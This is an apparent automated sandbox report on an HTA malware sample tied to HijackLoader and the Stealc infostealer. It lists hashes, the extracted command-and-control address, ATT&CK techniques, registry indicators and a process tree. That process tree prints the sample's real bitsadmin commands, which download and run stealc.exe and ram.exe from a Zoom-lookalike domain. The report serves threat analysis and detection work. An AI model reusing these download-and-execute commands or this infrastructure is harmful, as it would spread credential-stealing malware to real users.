hijackloader | 92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138

Analysis

max time kernel
132s
max time network
126s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
18-10-2024 02:13

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General

Target

92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138.hta
Size

74KB
MD5

acfba6ff2e80e0ebc80df9e7d326337c
SHA1

fe28d5756815fdac31a744a2f11c075f5b1892bc
SHA256

92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138
SHA512

2dcea669b4b3135bca6eba88542948188e25fb040db0a83bac03957b1fd59037998e7bb4a38774115ca051f07cbeacf99fd95113321e6c8fae4568a2e4e30f00
SSDEEP

768:BfaGWSO85ALmEcHUfkJ7Bate4LV1VZ6Y3PaNNHpXKMcpgUj:gGZALNcH77BajLbf61NR1pcbj

Score

10^/10

hijackloader stealc sneprivate29 google discovery dropper loader phishing stealer

Malware Config

Extracted

Family

stealc

Botnet

sneprivate29

http://95.182.97.58

Attributes

url_path
/84b7b6f977dd1c65.php

Signatures

Detects HijackLoader (aka IDAT Loader) 1 IoCs

resource	yara_rule
behavioral1/memory/2612-21-0x0000000000400000-0x0000000000561000-memory.dmp	family_hijackloader

HijackLoader
HijackLoader is a multistage loader first seen in 2023.
loader hijackloader
Stealc
Stealc is an infostealer written in C++.
stealer stealc

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	2380	mshta.exe
7	2380	mshta.exe
9	2380	mshta.exe
11	2380	mshta.exe
15	2380	mshta.exe

Download via BitsAdmin 1 TTPs 2 IoCs

dropper

BITS Jobs

T1197

pid	Process
2652	bitsadmin.exe
2660	bitsadmin.exe

Downloads MZ/PE file
Detected potential entity reuse from brand GOOGLE.
phishing google

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2612 set thread context of 2200	2612	stealc.exe	41

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1768	2352	WerFault.exe	47

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	stealc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bitsadmin.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	explorer.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
2656	timeout.exe
2636	timeout.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
744	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	15	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2612	stealc.exe
2612	stealc.exe
2200	cmd.exe
2200	cmd.exe
2352	explorer.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
2612	stealc.exe
2200	cmd.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 2736	2380	mshta.exe	33
PID 2380 wrote to memory of 2736	2380	mshta.exe	33
PID 2380 wrote to memory of 2736	2380	mshta.exe	33
PID 2380 wrote to memory of 2736	2380	mshta.exe	33
PID 2380 wrote to memory of 2652	2380	mshta.exe	35
PID 2380 wrote to memory of 2652	2380	mshta.exe	35
PID 2380 wrote to memory of 2652	2380	mshta.exe	35
PID 2380 wrote to memory of 2652	2380	mshta.exe	35
PID 2736 wrote to memory of 2656	2736	cmd.exe	37
PID 2736 wrote to memory of 2656	2736	cmd.exe	37
PID 2736 wrote to memory of 2656	2736	cmd.exe	37
PID 2736 wrote to memory of 2656	2736	cmd.exe	37
PID 2380 wrote to memory of 2612	2380	mshta.exe	38
PID 2380 wrote to memory of 2612	2380	mshta.exe	38
PID 2380 wrote to memory of 2612	2380	mshta.exe	38
PID 2380 wrote to memory of 2612	2380	mshta.exe	38
PID 2380 wrote to memory of 2612	2380	mshta.exe	38
PID 2380 wrote to memory of 2612	2380	mshta.exe	38
PID 2380 wrote to memory of 2612	2380	mshta.exe	38
PID 2380 wrote to memory of 2636	2380	mshta.exe	39
PID 2380 wrote to memory of 2636	2380	mshta.exe	39
PID 2380 wrote to memory of 2636	2380	mshta.exe	39
PID 2380 wrote to memory of 2636	2380	mshta.exe	39
PID 2612 wrote to memory of 2200	2612	stealc.exe	41
PID 2612 wrote to memory of 2200	2612	stealc.exe	41
PID 2612 wrote to memory of 2200	2612	stealc.exe	41
PID 2612 wrote to memory of 2200	2612	stealc.exe	41
PID 2380 wrote to memory of 2660	2380	mshta.exe	43
PID 2380 wrote to memory of 2660	2380	mshta.exe	43
PID 2380 wrote to memory of 2660	2380	mshta.exe	43
PID 2380 wrote to memory of 2660	2380	mshta.exe	43
PID 2736 wrote to memory of 744	2736	cmd.exe	46
PID 2736 wrote to memory of 744	2736	cmd.exe	46
PID 2736 wrote to memory of 744	2736	cmd.exe	46
PID 2736 wrote to memory of 744	2736	cmd.exe	46
PID 2612 wrote to memory of 2200	2612	stealc.exe	41
PID 2200 wrote to memory of 2352	2200	cmd.exe	47
PID 2200 wrote to memory of 2352	2200	cmd.exe	47
PID 2200 wrote to memory of 2352	2200	cmd.exe	47
PID 2200 wrote to memory of 2352	2200	cmd.exe	47
PID 2200 wrote to memory of 2352	2200	cmd.exe	47
PID 2200 wrote to memory of 2352	2200	cmd.exe	47
PID 2352 wrote to memory of 1768	2352	explorer.exe	49
PID 2352 wrote to memory of 1768	2352	explorer.exe	49
PID 2352 wrote to memory of 1768	2352	explorer.exe	49
PID 2352 wrote to memory of 1768	2352	explorer.exe	49

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\92a8cc4e385f170db300de8d423686eeeec72a32475a9356d967bee9e3453138.hta"
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c timeout /t 30 /nobreak > nul && taskkill /F /PID
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 30 /nobreak
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:2656
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /F /PID
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:744
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer myDownloadJob /download /priority foreground https://us18web-zoom.us/stealc.exe C:\Users\Admin\AppData\Local\Temp\stealc.exe
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:2652
- C:\Users\Admin\AppData\Local\Temp\stealc.exe
  "C:\Users\Admin\AppData\Local\Temp\stealc.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2612
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2200
  - - C:\Windows\SysWOW64\explorer.exe
      C:\Windows\SysWOW64\explorer.exe
      4⤵
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2352
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2352 -s 804
        5⤵
        Program crash
        
        PID:1768
- C:\Windows\SysWOW64\timeout.exe
  "C:\Windows\System32\timeout.exe" /T 2 /nobreak
  2⤵
  - System Location Discovery: System Language Discovery
  - Delays execution with timeout.exe
  PID:2636
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer secondDownloadJob /download /priority foreground https://us18web-zoom.us/ram.exe C:\Users\Admin\AppData\Local\Temp\ram.exe
  2⤵
  - Download via BitsAdmin
  - System Location Discovery: System Language Discovery
  PID:2660
- C:\Users\Admin\AppData\Local\Temp\ram.exe
  "C:\Users\Admin\AppData\Local\Temp\ram.exe"
  2⤵
  PID:2868

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\AS91FDNI\favicon[1].ico

Filesize
5KB

MD5
f3418a443e7d841097c714d69ec4bcb8

SHA1
49263695f6b0cdd72f45cf1b775e660fdc36c606

SHA256
6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770

SHA512
82d017c4b7ec8e0c46e8b75da0ca6a52fd8bce7fcf4e556cbdf16b49fc81be9953fe7e25a05f63ecd41c7272e8bb0a9fd9aedf0ac06cb6032330b096b3702563

Download Submit
C:\Users\Admin\AppData\Local\Temp\b3d91212

Filesize
1.0MB

MD5
b7a38e03aefd3366bfade44bcac85ba6

SHA1
c043abead4da49e00674d8815e0f85ed6b3c79c3

SHA256
e0d8a1bcf0a809c29583cbaedb5cf8e5ccb8addbacf78d367d79f7437ae7f091

SHA512
c16eb9f02242d6ebea451159c8d7fe2cda1fc395d35f1c3c3550fa435b8546400b60908113f0552982ecb42ddf0c7f9d2402b82b0ad2f64bfa615d81375f5504

Download Submit
memory/2200-41-0x0000000071930000-0x0000000071AA4000-memory.dmp

Filesize
1.5MB

Download
memory/2200-40-0x0000000077410000-0x00000000775B9000-memory.dmp

Filesize
1.7MB

Download
memory/2352-44-0x0000000077410000-0x00000000775B9000-memory.dmp

Filesize
1.7MB

Download
memory/2352-43-0x00000000004A0000-0x0000000000703000-memory.dmp

Filesize
2.4MB

Download
memory/2352-45-0x00000000004A0000-0x0000000000703000-memory.dmp

Filesize
2.4MB

Download
memory/2352-49-0x00000000004A0000-0x0000000000703000-memory.dmp

Filesize
2.4MB

Download
memory/2352-50-0x00000000004A0000-0x0000000000703000-memory.dmp

Filesize
2.4MB

Download
memory/2352-53-0x00000000004A0000-0x0000000000703000-memory.dmp

Filesize
2.4MB

Download
memory/2612-37-0x0000000071930000-0x0000000071AA4000-memory.dmp

Filesize
1.5MB

Download
memory/2612-23-0x0000000077410000-0x00000000775B9000-memory.dmp

Filesize
1.7MB

Download
memory/2612-22-0x0000000071930000-0x0000000071AA4000-memory.dmp

Filesize
1.5MB

Download
memory/2612-21-0x0000000000400000-0x0000000000561000-memory.dmp

Filesize
1.4MB

Download